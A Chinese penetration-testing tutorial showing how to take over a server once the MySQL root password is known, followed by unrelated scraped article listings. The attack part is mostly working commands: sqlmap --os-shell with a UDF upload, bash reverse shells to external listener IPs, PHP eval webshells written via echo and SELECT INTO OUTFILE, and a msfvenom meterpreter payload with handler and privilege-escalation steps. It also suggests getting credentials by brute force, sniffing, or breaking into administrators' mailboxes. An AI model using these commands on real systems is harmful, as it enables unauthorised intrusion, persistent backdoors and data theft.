sqlmap常用渗透方法
0X001 适用场景
1.获取了Mysql数据库root账号以及密码。
2.可以访问3306端口以及数据库。
0X002 扫描获取root账号的密码
通常有下面一些方法来获取root账号的密码
(1)phpMyAdmin多线程批量破解工具,下载地址:http://www.test404.com/post-546.html
http://pan.baidu.com/s/1c1LD6co,通过收集phpmyadmin地址进行暴力破解。
(2)代码泄露获取数据库账号和密码
(3)文件包含读取配置文件中的数据库账号和密码
(4)通过网络嗅探获取
(5)渗透运维人员的邮箱及个人主机获取
0X003 获取shell
1.通过sqlmap连接mysql获取shell
(1)直接连接数据库
sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell
(2)通过选择32位或者64位操作系统,获取webshell,执行
bash -i >& /dev/tcp/192.168.1.3/80800>&1
(3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP。
(4)通过echo命令生成shell:
echo “<?php@eval($_POST['chopper']);?>” >/data/www/phpmyadmin/1.php
如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新,下面命令可参考:
use mysql;
update userset host = ‘%’ where user = ‘root’;
FLUSHPRIVILEGES ;
注意:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题。
2.通过msf反弹
(1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444:
msfvenom -p php/meterpreter/reverse_tcpLHOST=192.168.1.3 -f raw > test.php
(2)在独立IP或者反弹服务器上运行msf依次执行以下命令:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.3 //192.168.1.3为反弹监听服务器IP
show options
run 0 或者exploit
(3)上传并执行php文件
将test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell
http:// 192.168.1.2:8080/test.php
3.通过phpmyadmin管理界面查询生成webshll
select ‘<?php @eval($_POST[cmd]);?>’INTOOUTFILE ‘D:/work/WWW/antian365.php’
0X004 一个实例
1.直接连接mysql数据库
执行命令:sqlmap.py -d”mysql://root:123456@2**.****.**.**:3306/mysql” –os-shell
如图1所示,需要设置后端数据库的架构,服务器多为64位,可以先选择64位即输入数字2进行测试,如果不是,可以退出后再次运行并选择。

图1选择服务器数据库所在架构
2.上次udf文件
选择系统架构后,sqlmap会自动上传udf文件到服务器提权位置,如图2所示,会显示一些信息。Sqlmap不管获取的shell是否成功都显示os-shell提示符。

图2获取os-shell
3.执行命令
针对相应的系统执行一些命令来验证是否真正获取shell,如图3所示,执行cat /etc/passwd命令来查看passwd文件内容,在本例中成功获取shell。

图3执行命令
4.获取反弹shell
虽然通过sqlmap获取了shell,但shell中操作不方便,可以在具备独立IP的服务器上执行:
nc –vv –l –p 8080
在sqlmap的shell段执行:
bash -i>& /dev/tcp/24.11.123.222/8080 0>&1
说明:
(1)24.11.123.222为独立IP
(2)需要在24.11.123.222上执行上面的nc监听命令
(3)24.11.123.222服务器需要对8080端口放行,或者在防火墙中开放8080端口,如图4所示,成功反弹shell。

图4成功反弹shell
5.在服务器上生成webshell
在反弹的shell中通过执行locate *.php命令来定位服务器网页的真实路径,然后到该路径下,通过echo命令生成webshell,如图5所示,直接通过echo命令生成webshell一句话后门。

图5生成webshell一句话后门文件
6.获取webshell
使用中国菜刀一句话后面管理器创建记录并连接,如图6所示,成功获取webshell。

图6获取webshell
7.通过phpmyadmin生成一句话
如图7所示,通过phpmyadmin登录后台后,在sql查询中执行命令:
select ‘<?php @eval($_POST[cmd]);?>’INTOOUTFILE ‘/data/www/phpmyadmin/eval.php’
注意:通过phpmyadmin生成一句话需要知道网站的真实路径。可以通过查看数据库表以及phpinfo,登录后台,出错等来获取真实路径地址。

图7通过phpmyadmin获取webshell
8.通过msf反弹获取shell
本意是通过msfvenom命令生成msf反弹网页木马,通过msf获取shell,并进行提权,如图8所示,执行后,成功获取shell但真正能够通过msf进行提权成功的很少。

图8msf反弹获取shell
9.msf提权参考
(1)msf提权参考
通过msf反弹shell,执行background将session放在后台运行,然后搜索可以利用的exploit来进行测试。下面是一些可以供参考的命令:
background
search “关键字”//seach ssh seach “/exploit/linux/local”
use exploit/linux……
show options
set session 1
exploit
sessions -i 1
getuid
在msf平台上面执行search后,查找的结果中选择时间较新和excellent的成功提权的几率比较大,在提权前,最好更新msf到最新版本,另外一个搜索exploit的命令为:
searchsploit linux local 2.6.32
sqlmap常用渗透方法的更多相关文章
- WebAPi添加常用扩展方法及思维发散
前言 在WebAPi中我们通常需要得到请求信息中的查询字符串或者请求头中数据再或者是Cookie中的数据,如果需要大量获取,此时我们应该想到封装一个扩展类来添加扩展方法,从而实现简便快捷的获取. We ...
- StringUtils中的常用的方法
org.apache.commons.lang.StringUtils中常用的方法,这里主要列举String中没有,且比较有用的方法: 1. 检查字符串是否为空: static boolean isB ...
- JOptionPane类提示框的一些常用的方法
JOptionPane类提示框的一些常用的方法 XMLOracleSwing 最近在做swing程序中遇到使用消息提示框的,JOptionPane类其中封装了很多的方法. 很方便的,于是就简单的整理了 ...
- 常用js方法
function dateGetter(name, size, offset, trim) { offset = offset || 0; return function (date) { var v ...
- jQuery操作Table tr td常用的方法
虽然现在DIV+CSS进行页的布局大行其道,但是很多地方使用table还是有很多优势,用table展示数据是比较方便的,下面汇总了jQuery操作Table tr td常用的方法,熟记这些操作技巧,下 ...
- iOS常用公共方法
iOS常用公共方法 字数2917 阅读3070 评论45 喜欢236 1. 获取磁盘总空间大小 //磁盘总空间 + (CGFloat)diskOfAllSizeMBytes{ CGFloat si ...
- org.apache.commons.lang.StringUtils中常用的方法
org.apache.commons.lang.StringUtils中常用的方法,这里主要列举String中没有,且比较有用的方法: 1. 检查字符串是否为空: static boolean isB ...
- 常用js方法整理common.js
项目中常用js方法整理成了common.js var h = {}; h.get = function (url, data, ok, error) { $.ajax({ url: url, data ...
- Java获取各种常用时间方法大全
Java获取各种常用时间方法大全 package cc.javaweb.test; Java中文网,Java获取各种时间大全 import java.text.DateFormat; import j ...
随机推荐
- Lua的线程和状态
[那不是真的多线程] Lua不支持真正的多线程,这句话我在<Lua中的协同程序>这篇文章中就已经说了.根据我的编程经验,在开发过程中,如果可以避免使用线程,那就坚决不用线程,如果实在没有更 ...
- Windows密钥容器和证书的关系
其实CSP主要是对容器里的密钥对操作的,和证书关系不大. 容器里的密钥对有两种类型:一种是AT_KEYEXCHANGE,表示加密的密钥对,一种是AT_SIGNATURE表示签名的密钥对. 由于美国的出 ...
- 用vue 写h5页面-摇一摇
vue配合其他ui框架除了开发一个完整的web项目外,也有不少的项目做一些h5的活动页面开发.你的页面现在需要模拟微信的摇一摇动作. 项目环境: vue-cli 完成的一个项目 准备插件(包):依赖的 ...
- fiddler启用过滤规则只显示想要的接口数据
fiddler启用过滤规则只显示想要的接口数据 比如只显示192.168.11.80站点数据 点击应用规则就可以只显示192.168.11.80了
- 使用Elasticsearch-dump迁移ES数据
1. Elasticsearch-dump 安装 1) yum install epel-release 2) yum install nodejs 3) yum install nodejs npm ...
- 使用Pycharm创建一个Django项目
在使用python写脚本一段时间后,想尝试使用Django来编写一个python项目,现做以下记录备忘: 1.创建项目 如果本地没有安装与所选python版本对应Django版本,pycharm会自动 ...
- 出错:Cause: org.apache.ibatis.executor.ExecutorException: A query was run and no Result Maps were found for the Mapped Statement 'cn.mgy.mapper.UserMapper.findById'.
详细出错代码: org.apache.ibatis.exceptions.PersistenceException: ### Error querying database. Cause: org.a ...
- xilinx和altera的fpga的不同之处!----如果不知道,你将为之付出代价! --转载
本人从2004年接触fpga开始,至今已经8年了.开发过altera的flex系列和cyclone3系列:开发过xilinx的vii和v5系列.下面谈谈本人对二者的一些不同,以便引起开发者对一些细节上 ...
- SA:T1编写主函数法和T2Matlab自带的SA工具箱GUI法,两种方法实现对二元函数优化求解——Jason niu
%SA:T1法利用Matlab编写主函数实现对定义域[-5,5]上的二元函数求最优解—Jason niu [x,y] = meshgrid(-5:0.1:5,-5:0.1:5); z = x.^2 + ...
- (三)ajax请求不同源之nginx反向代理跨域
一.基本原理 nginx是一个高性能的web服务器,常用作反向代理服务器.nginx作为反向代理服务器,就是把http请求转发到另一个或者一些服务器上. 用nginx反向代理实现跨域,是最简单的跨域方 ...